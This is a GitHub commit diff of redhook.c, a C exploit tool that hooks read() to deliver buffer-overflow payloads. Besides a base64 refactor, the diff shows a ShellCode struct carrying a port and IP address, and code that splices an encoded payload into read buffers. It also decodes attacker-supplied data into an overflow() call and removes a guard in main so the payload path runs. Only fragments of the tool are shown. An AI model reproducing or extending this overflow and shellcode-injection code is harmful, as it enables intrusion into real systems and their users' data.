Skip to content

Commit edbb956

Browse files
author
rsundahl
committed
Refactored base64 encoder and decoder. Dealt with a benign struct size issue created by gcc packing strategy.
1 parent 55c83d0 commit edbb956

1 file changed

Lines changed: 61 additions & 79 deletions

File tree

redhook.c

Lines changed: 61 additions & 79 deletions
Original file line numberDiff line numberDiff line change
@@ -1,48 +1,44 @@
11
#define _GNU_SOURCE
2+
#include <arpa/inet.h>
3+
#include <netdb.h>
24
#include <assert.h>
35
#include <dlfcn.h>
46
#include <stddef.h>
57
#include <stdio.h>
68
#include <string.h>
79
#include <unistd.h>
810

9-
#include <arpa/inet.h>
10-
#include <netdb.h> // gethostbyname()
11-
12-
static char encodingTable[] = {
11+
static const unsigned char tEncode64[64] = {
1312
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
1413
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
1514
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
16-
'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
17-
static int mod_table[] = {0, 2, 1};
18-
19-
char *base64Encode(const unsigned char *data, size_t inputLength, size_t *outputLength) {
20-
static char encodedData[10000];
21-
22-
*outputLength = 4 * ((inputLength + 2) / 3);
15+
'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'
16+
};
2317

24-
assert(*outputLength < sizeof(encodedData));
18+
static size_t encode64(const unsigned char *s256, const size_t n256, unsigned char *s64, size_t m64) {
2519

26-
for (int i = 0, j = 0; i < inputLength;) {
27-
uint32_t octet_a = i < inputLength ? (unsigned char)data[i++] : 0;
28-
uint32_t octet_b = i < inputLength ? (unsigned char)data[i++] : 0;
29-
uint32_t octet_c = i < inputLength ? (unsigned char)data[i++] : 0;
20+
// Calculate encoded size but limit to size of our output buffer
21+
size_t n64 = 4 * ((n256 + 2) / 3);
22+
if (n64 > m64)
23+
n64 = m64;
3024

31-
uint32_t triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;
25+
// Loop over input data generating four 6-in-8 bytes for each three 8-in-8 bytes
26+
for (size_t i256 = 0, i64 = 0, triple = 0; i256 < n256 && i64 < n64;) {
27+
for (size_t i = 0; i < 3; i++)
28+
triple = (triple << 8) + ((i256 < n256 ) ? s256[i256++] : 0);
3229

33-
encodedData[j++] = encodingTable[(triple >> 3 * 6) & 0x3F];
34-
encodedData[j++] = encodingTable[(triple >> 2 * 6) & 0x3F];
35-
encodedData[j++] = encodingTable[(triple >> 1 * 6) & 0x3F];
36-
encodedData[j++] = encodingTable[(triple >> 0 * 6) & 0x3F];
30+
for (size_t i = 0; i < 4; i++)
31+
s64[i64++] = tEncode64[(triple >> ((3 - i) * 6)) & (1 << 6) - 1];
3732
} // for
3833

39-
for (int i = 0; i < mod_table[inputLength % 3]; i++)
40-
encodedData[*outputLength - 1 - i] = '=';
34+
// Back-patch trailing overrun created by the "chunky" encoder (above).
35+
for (size_t i = 0; i < (n256 * 2) % 3; i++)
36+
s64[n64 - 1 - i] = '=';
4137

42-
return encodedData;
43-
}
38+
return n64;
39+
} // encode64()
4440

45-
static const unsigned char pr2six[256] = {
41+
static const unsigned char tDecode64[256] = {
4642
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
4743
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
4844
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63,
@@ -61,45 +57,31 @@ static const unsigned char pr2six[256] = {
6157
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
6258
};
6359

64-
static int base64Decode(char *bufplain, const char *bufcoded)
65-
{
66-
int nBytesDecoded;
67-
register const unsigned char *bufin;
68-
register unsigned char *bufout;
69-
register int nprbytes;
70-
71-
bufin = (const unsigned char *) bufcoded;
72-
while (pr2six[*(bufin++)] <= 63);
73-
nprbytes = (bufin - (const unsigned char *) bufcoded) - 1;
74-
nBytesDecoded = ((nprbytes + 3) / 4) * 3;
75-
76-
bufout = (unsigned char *) bufplain;
77-
bufin = (const unsigned char *) bufcoded;
78-
79-
while (nprbytes > 4) {
80-
*(bufout++) = (unsigned char) (pr2six[bufin[0]] << 2 | pr2six[bufin[1]] >> 4);
81-
*(bufout++) = (unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
82-
*(bufout++) = (unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
83-
bufin += 4;
84-
nprbytes -= 4;
85-
}
60+
static size_t length64(const unsigned char *s64) {
61+
for (size_t i = 0; ; i++)
62+
if (tDecode64[s64[i]] > 63)
63+
return i;
64+
} // length64()
8665

87-
/* Note: (nprbytes == 1) would be an error, so just ingore that case */
88-
if (nprbytes > 1) {
89-
*(bufout++) = (unsigned char) (pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
90-
}
91-
if (nprbytes > 2) {
92-
*(bufout++) = (unsigned char) (pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
93-
}
94-
if (nprbytes > 3) {
95-
*(bufout++) = (unsigned char) (pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
96-
}
66+
static size_t decode64(const unsigned char *s64, const size_t n64, unsigned char *s256, const size_t m256) {
9767

98-
*(bufout++) = '\0';
99-
nBytesDecoded -= (4 - nprbytes) & 3;
68+
// Calculate decoded size but limit to size of our output buffer
69+
size_t n256 = (((n64 + 3) / 4) * 3) - ((4 - n64) & 3);
10070

101-
return nBytesDecoded;
102-
}
71+
if (n256 > m256 - 1)
72+
n256 = m256 - 1;
73+
74+
// Loop over input data generating three 8-in-8 bytes for each four 6-in-8 bytes
75+
for (size_t i64 = 0, i256 = 0, triple = 0; i64 < n64 && i256 < n256; i64++) {
76+
if (i64 < n64 - 1) { s256[i256++] = (tDecode64[s64[i64]] << 2 | tDecode64[s64[i64 + 1]] >> 4); i64++; }
77+
if (i64 < n64 - 1) { s256[i256++] = (tDecode64[s64[i64]] << 4 | tDecode64[s64[i64 + 1]] >> 2); i64++; }
78+
if (i64 < n64 - 1) { s256[i256++] = (tDecode64[s64[i64]] << 6 | tDecode64[s64[i64 + 1]] >> 0); i64++; }
79+
} // for
80+
81+
s256[n256] = '\0';
82+
83+
return n256;
84+
} // decode64()
10385

10486
typedef void *Pointer;
10587

@@ -122,10 +104,11 @@ typedef struct ShellCode {
122104
unsigned short port;
123105
IPAddress ipAddress;
124106
unsigned char epilog[50];
107+
unsigned short unused;
125108
} ShellCode, *ShellCodePtr;
126109

127110
typedef union ShellCodeUnion {
128-
unsigned char raw[74];
111+
unsigned char raw[76];
129112
ShellCode sc;
130113
} ShellCodeUnion, *ShellCodeUnionPtr;
131114

@@ -441,16 +424,16 @@ ssize_t read(int fd, void *buf, size_t count) {
441424
} // if
442425

443426
dumpload(&payload);
444-
size_t payload64Size;
445-
char *payload64 = base64Encode((const unsigned char *) &payload, sizeof(payload), &payload64Size);
446-
char *src = p + nc;
447-
char *dst = p - strlen(s_magic) - strlen(s_makeload) + payload64Size;
448-
int need = strlen(s_magic) - strlen(s_makeload) - nc + payload64Size;
449-
int tail = result - (src - ((char *) buf));
450-
memmove(dst, src, tail);
451-
memcpy(((char *) p) - strlen(s_magic) - strlen(s_makeload), payload64, payload64Size);
452-
result += need;
453-
((char *) buf)[result] = 0;
427+
unsigned char payload64[4096];
428+
size_t nPayload64 = encode64((const unsigned char *) &payload, sizeof(payload), payload64, sizeof(payload64));
429+
char *src = p + nc;
430+
char *dst = p - strlen(s_magic) - strlen(s_makeload) + nPayload64;
431+
int need = strlen(s_magic) - strlen(s_makeload) - nc + nPayload64;
432+
int tail = result - (src - ((char *) buf));
433+
memmove(dst, src, tail);
434+
memcpy(((char *) p) - strlen(s_magic) - strlen(s_makeload), payload64, nPayload64);
435+
result += need;
436+
((char *) buf)[result] = 0;
454437
} // if
455438
else if (!strncmp(s_dumpload, p, strlen(s_dumpload)))
456439
dumpload(&payload);
@@ -459,9 +442,9 @@ dumpload(&payload);
459442
overflow((Pointer)&payload, sizeof(payload));
460443
}
461444
else if (!strncmp(s_overflow, p, strlen(s_overflow))) {
462-
base64Decode(p, p + strlen(s_overflow));
463-
overflow(p, sizeof(Payload));
464-
445+
unsigned char *s64 = (unsigned char *) (p + strlen(s_overflow));
446+
size_t n256 = decode64(s64, length64(s64), (unsigned char *) p, 65535);
447+
overflow(p, n256);
465448
} // else if
466449
} // if
467450

@@ -479,12 +462,11 @@ int main(int argc, char **argv)
479462
assert(sizeof(ptrdiff_t) == 8);
480463
assert(sizeof(Offset) == 8);
481464
assert(sizeof(AddressUnion) == 8);
482-
assert(sizeof(ShellCodeUnion) == 74);
483-
assert(sizeof(unsigned short) == 2);
465+
assert(sizeof(IPAddress) == 4);
466+
assert(sizeof(ShellCodeUnion) == 76);
484467
assert(getpagesize() == 4096);
485468
assert((-1^(getpagesize()-1))==0xfffffffffffff000);
486469

487-
return -1;
488470
initialize();
489471
makeload(&payload);
490472
dumpload(&payload);

0 commit comments

Comments
 (0)